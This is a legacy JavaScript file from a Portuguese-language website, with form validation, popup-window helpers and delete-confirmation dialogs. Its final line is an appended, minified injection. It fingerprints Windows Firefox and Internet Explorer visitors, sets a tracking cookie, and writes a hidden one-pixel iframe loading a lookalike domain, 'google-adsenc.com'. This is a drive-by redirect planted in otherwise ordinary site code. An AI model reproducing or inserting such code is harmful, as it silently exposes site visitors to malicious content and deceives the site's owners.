
// Verifica campo vazio

function checkRadio(campo, nome) {
	if (campo) {
		var checked = false;
		for(idx = 0; idx < campo.length; idx++){
			if(campo[idx].checked == true)
				checked = true;	
		}
		if(!checked){
			open_required("Por favor preencha o campo " + nome + "!");
			return(false);
		}
		return true;
	}
	return(true);
}

function checkTermos(campo, nome) {
	if (campo) {
		if(!campo.checked){
			open_required("De forma a continuar tem de concordar com as condições de utilização");
			return(false);
		}
		return true;
	}
	return(true);
}

function vazio(campo, nome) {
	if (campo && campo.value == "") {
		open_required("Por favor preencha o campo " + nome + "!");
		return(false);
	}
	return(true);
}

function imagens(campo, nome){
	if(document.formulario.tem_img.value == "0"){
		if(vazio(campo,nome))
			return true;
		return false;
	}
	else
		return true;
}

// Verifica select parado
function parado(campo, nome) {
	if (campo && campo.selectedIndex == 0) {
		open_required("Por favor selecionar algo no campo " + nome + "!");
		return(false);
	}
	return(true);
}
function validaPassword(campo, nome) {
	if (campo && campo.value == "") {
		open_required("Por favor preencha correctamente o campo " + nome + "!");
		return(false);
	}
	else if(campo.value != document.formulario.password2.value){
		open_required("Por favor preencha correctamente o campo " + nome + "!");
		return(false);		
	}
	return(true);
}


// valida campo de email
function validaEmail(email, nome) {
	valido = /^.*\@.*\..*$/i;
	if (email && email.value.search(valido) == -1) {
		open_required("Por favor preencha corretamente o campo " + nome + "!");
		return(false);
	}
	return(true);
}


function checkDates(campo, nome) {
	if (campo) {
		var checked = false;
		for(idx = 0; idx < campo.length; idx++){
			if(campo[idx].checked == true)
				checked = true;	
		}
		if(!checked){
			open_required("Por favor preencha o campo " + nome + "!");
			return(false);
		}
		else{
			if(campo[0].checked && document.formulario.dataInicio1.value == ""){
				open_required("Por favor preencha o campo " + nome + "!");
				return(false);
			}
			else if (campo[1].checked && (document.formulario.dataInicio2.value == "" || document.formulario.dataFim.value == "")){
				open_required("Por favor preencha o campo " + nome + "!");
				return(false);
			}
			
		}
		return true;
	}
	return(true);
}




function open_required(mensagem){
	
	var h = 150;
	var w = 300;
	if (parseInt(navigator.appVersion)>3) {
	 if (navigator.appName=="Netscape") {
	  winW = window.innerWidth;
	  winH = window.innerHeight;
	  
	  offX = window.pageXOffset
	  offY = window.pageYOffset
	 }
	 if (navigator.appName.indexOf("Microsoft")!=-1) {
	  var iebody=(document.compatMode && document.compatMode != "BackCompat")? document.documentElement : document.body
	  
	  if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ){
	  winW = document.documentElement.clientWidth;
	  winH = document.documentElement.clientHeight;
  
	  }
	  else {
		  winW = document.clientWidth;
		  winH = document.clientHeight;
	  }	  
	  offY = document.all? iebody.scrollTop : pageYOffset
	  offX = document.all ? iebody.scrollLeft : pageXOffset
	 }
	}
	var Yoffset =  offY + (winH/2)-h/2;
	var Xoffset = offX + (winW/2)-w/2;

	var required = document.getElementById('required');
	var req_if	 = document.getElementById('req_if');
	
	required.innerHTML = contentAlert(mensagem);
	
	required.style.display = 'block';
	required.style.top = Yoffset+"px";
	required.style.left = Xoffset+"px";

	req_if.style.display = 'block';
	req_if.style.top = Yoffset+"px";
	req_if.style.left = Xoffset+"px";

}

function close_required(){
	
	var required = document.getElementById('required');
	var req_if	 = document.getElementById('req_if');
	required.style.display = 'none';
	required.style.top = "0px";
	required.style.left = "0px";
	
	req_if.style.display = 'none';
	req_if.style.top = "0px";
	req_if.style.left = "0px";



}

function pop_print(form){
	var h = 520;
	var w = 800;
	var target = form
	if (parseInt(navigator.appVersion)>3) {
	 if (navigator.appName=="Netscape") {
	  winW = window.innerWidth;
	  winH = window.innerHeight;
	 }
	 if (navigator.appName.indexOf("Microsoft")!=-1) {
	  winW = document.body.offsetWidth;
	  winH = document.body.offsetHeight;
	 }
	}
	var Yoffset = (winH/2)-h/2;
	var Xoffset = (winW/2)-w/2;
	
	window.open(target, '', 'width='+w+', height='+h+', screenX=' + Xoffset+', scrollbars=1, screenY='+Yoffset);
}

function pop_form(form){
	var h = 350;
	var w = 350;
	var target = form
	winW = screen.width;
	winH = screen.height;
	var Yoffset = (winH/2)-h/2;
	var Xoffset = (winW/2)-w/2;
	
	window.open(target, '', 'width='+w+', height='+h+', screenX=' + Xoffset+', left=' + Xoffset+', scrollbars=0, screenY='+Yoffset+', top=' + Yoffset);
}
function pop_rec(form){
	var h = 400;
	var w = 400;
	var target = form
	winW = screen.width;
	winH = screen.height;
	var Yoffset = (winH/2)-h/2;
	var Xoffset = (winW/2)-w/2;
	
	window.open(target, '', 'width='+w+', height='+h+', screenX=' + Xoffset+', left=' + Xoffset+', scrollbars=0, screenY='+Yoffset+', top=' + Yoffset);
}

function pop_news(form){
	var h = 400;
	var w = 450;
	var target = form
	winW = screen.width;
	winH = screen.height;
	var Yoffset = (winH/2)-h/2;
	var Xoffset = (winW/2)-w/2;
	
	window.open(target, '', 'width='+w+', height='+h+', screenX=' + Xoffset+', left=' + Xoffset+', scrollbars=0, screenY='+Yoffset+', top=' + Yoffset);
}
function pop_add(form){
	var h = 600;
	var w = 800;
	var target = form
	winW = screen.width;
	winH = screen.height;
	var Yoffset = (winH/2)-h/2;
	var Xoffset = (winW/2)-w/2;
	
	window.open(target, '', 'width='+w+', height='+h+', screenX=' + Xoffset+', left=' + Xoffset+', scrollbars=1, screenY='+Yoffset+', top=' + Yoffset);
}
function pop_help(form){
	var h = 550;
	var w = 600;
	var target = form
	winW = screen.width;
	winH = screen.height;
	var Yoffset = (winH/2)-h/2;
	var Xoffset = (winW/2)-w/2;
	
	window.open(target, '', 'width='+w+', height='+h+', screenX=' + Xoffset+', left=' + Xoffset+', scrollbars=1, screenY='+Yoffset+', top=' + Yoffset);
}

function excluir(id, pagina, query) {
	
	var h = 150;
	var w = 300;
	if (parseInt(navigator.appVersion)>3) {
	 if (navigator.appName=="Netscape") {
	  winW = window.innerWidth;
	  winH = window.innerHeight;
	  
	  offX = window.pageXOffset
	  offY = window.pageYOffset
	 }
	 if (navigator.appName.indexOf("Microsoft")!=-1) {
	  var iebody=(document.compatMode && document.compatMode != "BackCompat")? document.documentElement : document.body
	  
	  if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ){
	  winW = document.documentElement.clientWidth;
	  winH = document.documentElement.clientHeight;
  
	  }
	  else {
		  winW = document.clientWidth;
		  winH = document.clientHeight;
	  }	  
	  offY = document.all? iebody.scrollTop : pageYOffset
	  offX = document.all ? iebody.scrollLeft : pageXOffset
	 }
	}
	var Yoffset =  offY + (winH/2)-h/2;
	var Xoffset = offX + (winW/2)-w/2;

	var required = document.getElementById('required');
	var req_if	 = document.getElementById('req_if');
	
	required.innerHTML = contentPrompt(id, pagina, query);
	
	required.style.display = 'block';
	required.style.visibility = 'visible';
	required.style.top = Yoffset+"px";
	required.style.left = Xoffset+"px";

	req_if.style.display = 'block';
	req_if.style.visibility = 'visible';
	req_if.style.top = Yoffset+"px";
	req_if.style.left = Xoffset+"px";

}

function excluirImg(id, pagina, query) {
	
	var h = 150;
	var w = 300;
	if (parseInt(navigator.appVersion)>3) {
	 if (navigator.appName=="Netscape") {
	  winW = window.innerWidth;
	  winH = window.innerHeight;
	  
	  offX = window.pageXOffset
	  offY = window.pageYOffset
	 }
	 if (navigator.appName.indexOf("Microsoft")!=-1) {
	  var iebody=(document.compatMode && document.compatMode != "BackCompat")? document.documentElement : document.body
	  
	  if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ){
	  winW = document.documentElement.clientWidth;
	  winH = document.documentElement.clientHeight;
  
	  }
	  else {
		  winW = document.clientWidth;
		  winH = document.clientHeight;
	  }	  
	  offY = document.all? iebody.scrollTop : pageYOffset
	  offX = document.all ? iebody.scrollLeft : pageXOffset
	 }
	}
	var Yoffset =  offY + (winH/2)-h/2;
	var Xoffset = offX + (winW/2)-w/2;

	var required = document.getElementById('required');
	var req_if	 = document.getElementById('req_if');
	
	required.innerHTML = imagemPrompt(id, pagina, query);
	
	required.style.display = 'block';
	required.style.visibility = 'visible';
	required.style.top = Yoffset+'px';
	required.style.left = Xoffset+'px';

	req_if.style.display = 'block';
	req_if.style.visibility = 'visible';
	req_if.style.top = Yoffset+'px';
	req_if.style.left = Xoffset+'px';

}

function excluirDoc(id, pagina, query) {
	
	var h = 150;
	var w = 300;
	if (parseInt(navigator.appVersion)>3) {
	 if (navigator.appName=="Netscape") {
	  winW = window.innerWidth;
	  winH = window.innerHeight;
	  
	  offX = window.pageXOffset
	  offY = window.pageYOffset
	 }
	 if (navigator.appName.indexOf("Microsoft")!=-1) {
	  var iebody=(document.compatMode && document.compatMode != "BackCompat")? document.documentElement : document.body
	  
	  if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ){
	  winW = document.documentElement.clientWidth;
	  winH = document.documentElement.clientHeight;
  
	  }
	  else {
		  winW = document.clientWidth;
		  winH = document.clientHeight;
	  }	  
	  offY = document.all? iebody.scrollTop : pageYOffset
	  offX = document.all ? iebody.scrollLeft : pageXOffset
	 }
	}
	var Yoffset =  offY + (winH/2)-h/2;
	var Xoffset = offX + (winW/2)-w/2;

	var required = document.getElementById('required');
	var req_if	 = document.getElementById('req_if');
	
	required.innerHTML = documentoPrompt(id, pagina, query);
	
	required.style.display = 'block';
	required.style.visibility = 'visible';
	required.style.top = Yoffset+'px';
	required.style.left = Xoffset+'px';

	req_if.style.display = 'block';
	req_if.style.visibility = 'visible';
	req_if.style.top = Yoffset+'px';
	req_if.style.left = Xoffset+'px';

}

function toggleVis(id){
	var objecto = document.getElementById(id);
	
	if(objecto.style.visibility == 'visible'){
		objecto.style.visibility = 'hidden';
		objecto.style.display = 'none'
	}
	else{
		objecto.style.visibility = 'visible';
		objecto.style.display = 'block';
	}
	
}

function showData(){
	var objecto = document.getElementById('periodo');
	objecto.style.visibility = 'visible';
	objecto.style.display = 'inline';

}

function hideData(){
	var objecto = document.getElementById('periodo');
	objecto.style.visibility = 'hidden';
	objecto.style.display = 'none'
	
}

function contentAlert(mensagem){
	var html;
	
	html = '<TABLE width="100%" height="100%" style="border:1px solid #BBBBBB;"><TR><TD align="center" class="erro">' + mensagem + '</TD></TR><TR><TD align="center"><IMG SRC="/images/ok.gif" onClick="close_required();" style="cursor:pointer;"></TD></TR></TABLE>';
	
	return html;
}

function contentPrompt(id, pagina, query){
	var html;
	html='<TABLE width="100%" height="100%" style="border:1px solid #336699;"><TR><TD colspan="2" align="center" class="erro">Tem a certeza que deseja remover esse item?</TD></TR><TR><TD align="center"><IMG SRC="/images/confirmar.gif" onclick="location.href=\'' + pagina + '?' + query + '&removeID=' + id +'\';" style="cursor:pointer;"></TD><TD align="center"><IMG SRC="/images/cancelar.gif" onClick="close_required();" style="cursor:pointer;"></TD></TR></TABLE>';
	return html;
}

function imagemPrompt(id, pagina, query){
	var html;
	html='<TABLE width="100%" height="100%" style="border:1px solid #336699;"><TR><TD colspan="2" align="center" class="erro">Tem a certeza que deseja remover a imagem?</TD></TR><TR><TD align="center"><IMG SRC="/images/confirmar.gif" onclick="location.href=\'' + pagina + '?' + query + '&removeImagemID=' + id +'\';" style="cursor:pointer;"></TD><TD align="center"><IMG SRC="/images/cancelar.gif" onClick="close_required();" style="cursor:pointer;"></TD></TR></TABLE>';
	return html;
}
function documentoPrompt(id, pagina, query){
	var html;
	html='<TABLE width="100%" height="100%" style="border:1px solid #336699;"><TR><TD colspan="2" align="center" class="erro">Tem a certeza que deseja remover o documento?</TD></TR><TR><TD align="center"><IMG SRC="/images/confirmar.gif" onclick="location.href=\'' + pagina + '?' + query + '&removeDocumentoID=' + id +'\';" style="cursor:pointer;"></TD><TD align="center"><IMG SRC="/images/cancelar.gif" onClick="close_required();" style="cursor:pointer;"></TD></TR></TABLE>';
	return html;
}
document.write('<DIV ID="required" style="position:absolute; display:none; height:150px; width:300px; top:0; left:0; border:0px; z-index:999999;"></DIV>');
document.write('<IFRAME ID="req_if" style="position:absolute; display:none; height:150px; width:300px; top:0; left:0; background-color:#f1f1f1; border:0px; z-index:999998;filter: Alpha(opacity=100); -moz-opacity: 1;" scrolling="no" frameborder="0"></IFRAME>');


function pop_up(imagem){
	var h = imagem.height;
	var w = imagem.width;
	var target = 'galeria.php?i='+imagem.src;
	if (parseInt(navigator.appVersion)>3) {
	 if (navigator.appName=="Netscape") {
	  var winW = window.innerWidth;
	  var winH = window.innerHeight;
	 }
	 if (navigator.appName.indexOf("Microsoft")!=-1) {
	  var winW = document.body.offsetWidth;
	  var winH = document.body.offsetHeight;
	 }
	}
	var Yoffset = (winH/2)-h/2;
	var Xoffset = (winW/2)-w/2;
	
	window.open(target, '', 'width='+w+', height='+h+', screenX=' + Xoffset+', screenY='+Yoffset);
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
